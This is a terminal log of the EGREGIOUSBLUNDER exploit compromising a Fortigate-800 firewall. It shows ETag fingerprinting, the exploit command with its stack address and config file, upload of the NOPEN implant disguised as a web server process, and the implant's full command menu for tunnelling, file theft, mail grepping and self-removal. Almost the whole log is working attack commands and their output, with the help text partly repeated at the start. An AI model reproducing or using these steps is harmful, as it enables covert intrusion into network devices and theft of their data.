Usage: -remark [comment]
Usage: -rem [comment]
Usage: # [comment]
Usage: -reset

Local Environment Commands:
Usage: -lcd locdir
Usage: -lgetenv
Usage: -lpwd
Usage: -lsetenv VAR=[val]
Usage: -lsh [[-q] command]

Aliases:

NO! (none):>

# Egregious Blunder (EGBL) exploit


# cat EGBL_AND_BLATSTING.txt

# pwd
/current/bin

# curl --insecure --head https://127.0.0.1 | grep ETag
ETag: "63e_4f_4683142d"

# grep 4683142d ./EGBL.config
ETAG = 4683142d : 0xbffff4a8 : 800 : 3 : 0559 # BLATSTING

# LD_LIBRARY_PATH=/current/bin/lib ./egregiousblunder_3.0.0.1 -t 127.0.0.1 -p 443 -l 1234 --ssl 1 -v --config ./EGBL.config --etag 4683142d --nopen
EGBL vers 3.0.0.1
current options:
  target IP: 127.0.0.1
  target port: 443 (SSL on)
  config file: ./EGBL.config (vers 3.0.0.1)
  etag: 4683142d (index 326)
  hardware = 800, firmware = 0559 (gen 3): etag = 4683142d
  using firmware generation 3
  source port: 1234
  install NOPEN
    noserver file to upload: /current/up/morerats/staticrats/noserver-3.3.0.1-linux-i386-static
    noclient local executable: /current/bin/noclient
    loading noserver on target as /bin/httpd, process to run as name /bin/httpsd
  verbose: 1
  debug: 0

loading nopen over HTTPS
prepping to send file /current/up/morerats/staticrats/noserver-3.3.0.1-linux-i386-static of size 356996
using stack addr 0xbffff4a8
received good ACK1 message c0edbabe
received stack addr 0xbffff4a8
sent the file len/header, next is the file
..................................
done with sending (356996 bytes), waiting for file ack
received good ACK2 message 356996, upload is cool
got file ack, file size 356996 uploaded
invoking /current/bin/noclient -i 4 to take over

NOPEN!                             v3.0.5.3

Wed Aug 17 12:29:28 GMT 2016
NHOME: environment variable not set, assuming "NHOME=/current/bin/.."
NHOME=/current/bin/..
TERM=xterm-256color
Initiating RSA key exchange
  Generating random number... ok
  Initializing RC6... ok
  Sending random number... ok
  Receiving random number... ok
  Generating session key... 0xDD5A18A835851B4B1549DB3B984EBDE7
  Sending first verify string... ok
  Receiving second verify string... ok
  Checking second verify string... ok
RSA key exchange complete
NOPEN server version... 3.0.5.3

Connection
  Bytes In / Out     197/82 (240%C) / 63/4 (1575%C)
  Local Host:Port    localhost:1234 (127.0.0.1:1234)
  Remote Host:Port   (null):0 (:0)
  Remote Host:Port   Fortigate-800:443 (127.0.0.1:443)
Local
  NOPEN client       3.0.5.3
  Date/Time          Wed Aug 17 12:29:29 UTC 2016
  History
  Command Out
  CWD                /current/bin
  NHOME              /current/bin/..
  PID (PPID)         1749 (1748)
Remote
  NOPEN server       3.0.5.3
  WDIR               NOT SET
  OS                 Linux 2.4.25 #2 Wed Jun 27 21:28:31 EDT 2007 i686
  CWD                /
  PID (PPID)         5139 (34)

Creating history file "/current/bin/../down/history/Fortigate-800.127.0.0.1"... ok
Creating command output file "/current/bin/../down/cmdout/Fortigate-800.127.0.0.1-2016-08-17-12:29:30"... ok

Lonely?  Bored?  Need advice?  Maybe "-help" will show you the way.

We are starting up our virtual autoport
We are bound and ready to go on port 1025
NO! Fortigate-800:/>-help
[08-17-16 12:29:49 GMT][localhost:1234 -> Fortigate-800.127.0.0.1:443]
[-help]

Remote General Commands:
Usage: -elevate
Usage: -getenv
Usage: -gs category|filename [options-if-any]
Usage: -setenv VAR=[val]
Usage: -shell
Usage: -status
Usage: -time

Remote Server Commands:
Usage: -burn
Usage: -call ip port
Usage: -listen port
Usage: -pid

Remote Network Commands:
Usage: -icmptime target_ip [source_ip]
Usage: -ifconfig
Usage: -nslookup name1 ...
Usage: -ping -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port] [-s src_port]
       -ping host
       -ping [-u|-t|-i] host
Usage: -trace -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port] [-s src_port]
       -trace host
       -trace [-u|-t|-i] host

Remote Redirection Commands:
Usage: -fixudp port
Usage: -irtun target_ip call_back_port [call_back_ip] [ourtn arguements]
Usage: -jackpop target_ip target_port source_ip source_port
Usage: -nrtun port [toip [toport]]
Usage: -nstun toip [toport [localport [srcport [command]]]]
       -nstun toip:port
Usage: -rawsend tcp_port
Usage: -rtun port [toip [toport]]
Usage: -scan
Usage: -sentry target_address source_address (tcp|udp) dest_port src_port interface
Usage: -stun toip toport [localport [srcport]]
Usage: -sutun [-t ttl] toip toport [localport [srcport]]
Usage: -tunnel [command_listen_port [udp]]
Usage: -vscan  (should add help)

Remote File Commands:
Usage: -cat remfile
Usage: -chili [-l] [-s lines] [-m max] MM-DD-YYYY remdir remfile [remfile ...]
Usage: -cksum remfile ...
Usage: -fget [MM-DD-YYYY] loclist
Usage: -get [-l] [-q] [-s minimumsize] [-m MM-DD-YYYY] remfile ...
Usage: -grep [-d] [-v] [-n] [-i] [-h] [-C number_of_context_lines] pattern file1 [file2 ...]
Usage: -oget [-a] [-q] [-s begoff] [-b begoff] [-e endoff] remfile
Usage: -put locfile remfile [mode]
Usage: -strings remfile
Usage: -tail [+/-n] remfile, + to skip n lines of remfile beginning
Usage: -touch [-t mtime:atime | refremfile] remfile
Usage: -rm remfile|remdir ...
Usage: -upload file port
Usage: -mailgrep [-l] [-m maxbytes] [-r "regexp" [-v]] [-f regexpfilename [-v]] [-a "regexp for attachments to eliminate"] [-b MM-DD-YYYY] [-e MM-DD-YYYY] [-d remotedumpfile] remotedir file1 [file2 ...]
 ex: -mailgrep -a ".doc" -r "^Fred" -b 2-28-2002 /var/spool/mail G*

Remote Directory Commands:
Usage: -find [-M | -m -mkfindsargs] [-x[m|a|c] MM-DD-YYYY] remdir [remdir...]
Usage: -ls [-1ihuRt] [-x[m|a|c] MM-DD-YYYY] [remfile|remdir ...]
Usage: -cd [remdir]
Usage: -cdp

Local Client Commands:
Usage: -autopilot port [xml]
Usage: -cmdout [locfilename]
Usage: -exit
Usage: -help
Usage: -hist
Usage: -readrc [locfile]
Usage: -remark [comment]
Usage: -rem [comment]
Usage: # [comment]
Usage: -reset

Local Environment Commands:
Usage: -lcd locdir
Usage: -lgetenv
Usage: -lpwd
Usage: -lsetenv VAR=[val]
Usage: -lsh [[-q] command]

Aliases:

NO! Fortigate-800:/>